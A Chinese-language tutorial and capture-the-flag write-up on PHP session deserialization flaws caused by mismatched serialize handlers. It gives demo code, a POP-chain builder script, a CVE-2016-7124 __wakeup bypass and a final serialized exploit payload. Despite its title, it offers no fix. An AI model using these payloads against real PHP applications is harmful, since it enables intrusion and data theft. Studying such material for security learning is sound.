如何解決PHP的session反序列化漏洞問題

這篇文章將為大家詳細講解有關如何解決PHP的session反序列化漏洞問題，文章內容質量較高，因此小編分享給大家做個參考，希望大家閱讀完這篇文章后對相關知識有一定的了解。

讓客戶滿意是我們工作的目標，不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶，將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴，公司提供的服務項目有：域名注冊、網(wǎng)絡空間、營銷軟件、網(wǎng)站建設、漢中網(wǎng)站維護、網(wǎng)站推廣。

在php.ini中存在三項配置項：

session.save_path=""  --設置session的存儲路徑
session.save_handler="" --設定用戶自定義存儲函數(shù)，如果想使用PHP內置會話存儲機制之外的可以使用本函數(shù)(數(shù)據(jù)庫等方式)
session.auto_start  boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動
session.serialize_handler  string --定義用來序列化/反序列化的處理器名字。默認使用php

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

在使用xampp組件安裝中，上述的配置項的設置如下：

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存儲在xampp/tmp下
session.save_handler=files     表明session是以文件的方式來進行存儲的
session.auto_start=0        表明默認不啟動session
session.serialize_handler=php    表明session的默認序列話引擎使用的是php序列話引擎

在上述的配置中，session.serialize_handler是用來設置session的序列話引擎的，除了默認的PHP引擎之外，還存在其他引擎，不同的引擎所對應的session的存儲方式不相同。

php_binary:存儲方式是，鍵名的長度對應的ASCII字符+鍵名+經(jīng)過serialize()函數(shù)序列化處理的值

php:存儲方式是，鍵名+豎線+經(jīng)過serialize()函數(shù)序列處理的值

php_serialize(php>5.5.4):存儲方式是，經(jīng)過serialize()函數(shù)序列化處理的值

在PHP中默認使用的是PHP引擎，如果要修改為其他的引擎，只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');。示例代碼如下：

session 的目錄在 /var/lib/php/sessions 中

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下，session文件中存儲的數(shù)據(jù)為:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件內容為:

name|s:6:"spoock";

php_binary 引擎下文件內容為:

names:6:"spoock";

由于name的長度是4，4在ASCII表中對應的就是EOT。根據(jù)php_binary的存儲規(guī)則，最后就是names:6:"spoock";。(突然發(fā)現(xiàn)ASCII的值為4的字符無法在網(wǎng)頁上面顯示，這個大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的實現(xiàn)是沒有的問題，危害主要是由于程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數(shù)據(jù)時使用的引擎和序列化使用的引擎不一樣，會導致數(shù)據(jù)無法正確第反序列化。通過精心構造的數(shù)據(jù)包，就可以繞過程序的驗證或者是執(zhí)行一些系統(tǒng)的方法。例如:

$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

訪問后得到session文件中的內容如下：

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此時模擬在其他頁面使用不同的php引擎來讀取時的內容如下：(默認使用php引擎讀取session文件)

<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
}
// var_dump($_SESSION);

訪問該頁面輸出xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

這是因為當使用php引擎的時候，php引擎會以|作為作為key和value的分隔符，那么就會將 a:1:{s:4:"ryat";s:30:" 作為SESSION的key，將 O:1:"A":1:{s:1:"a";s:2:"xx";} 作為value，然后進行反序列化，最后就會得到A這個類。

這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在加載使用php引擎的頁面時session去讀session中的內容并反序列化導致漏洞觸發(fā)，不需要任何輸出

GCTF上的一道session反序列化漏洞分析:

index.php中內容為:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
  $_SESSION['src'] = $_GET['src'];
  highlight_file(__FILE__);
  print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代碼審計2</title>
 </head>
 <body>

在php中，經(jīng)常會使用序列化操作來存取數(shù)據(jù)，但是在序列化的過程中如果處理不當會帶來一些安全隱患。

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源碼</a>
</body>
</html>

query.php 中的內容為:

/************************/
/*
//query.php 部分代碼
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
      return 'key is:{'.$this->token.'}';
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

思路如下:

這題中我們構造一個TOPC，在析構的時候則會調用echo $this->attr;；

將attr賦值為TOPB對象，在echo TOPB的時候會自動調用__tostring魔術方法

在__tostring中會調用unserialize($this->attr),因為后面用到token和ticket，所以顯然時TOPA對象。后面判斷需要$this->obj->token === $this->obj->ticket,所以在序列化的時候進行指針引用使$a->ticket = &$a->token;，即可繞過判斷。

至于為什么(string)$this->obj會輸出flag，后臺寫的login可能是__tostring吧。

其中反序列化字符串中會有一個__wakeup()函數(shù)清空里面的參數(shù)，我問可以通過一個cve來繞過：CVE-2016-7124。將Object中表示數(shù)量的字段改成比實際字段大的值即可繞過wakeup函數(shù)。

最后的代碼為:

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

最終payload為:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

關于如何解決PHP的session反序列化漏洞問題就分享到這里了，希望以上內容可以對大家有一定的幫助，可以學到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。

名稱欄目：如何解決PHP的session反序列化漏洞問題
文章網(wǎng)址：http://bm7419.com/article24/pcoice.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián)，為您提供標簽優(yōu)化、建站公司、外貿建站、軟件開發(fā)、面包屑導航、ChatGPT

廣告

聲明：本網(wǎng)站發(fā)布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經(jīng)允許不得轉載，或轉載時需注明來源： 創(chuàng)新互聯(lián)

成都網(wǎng)頁設計公司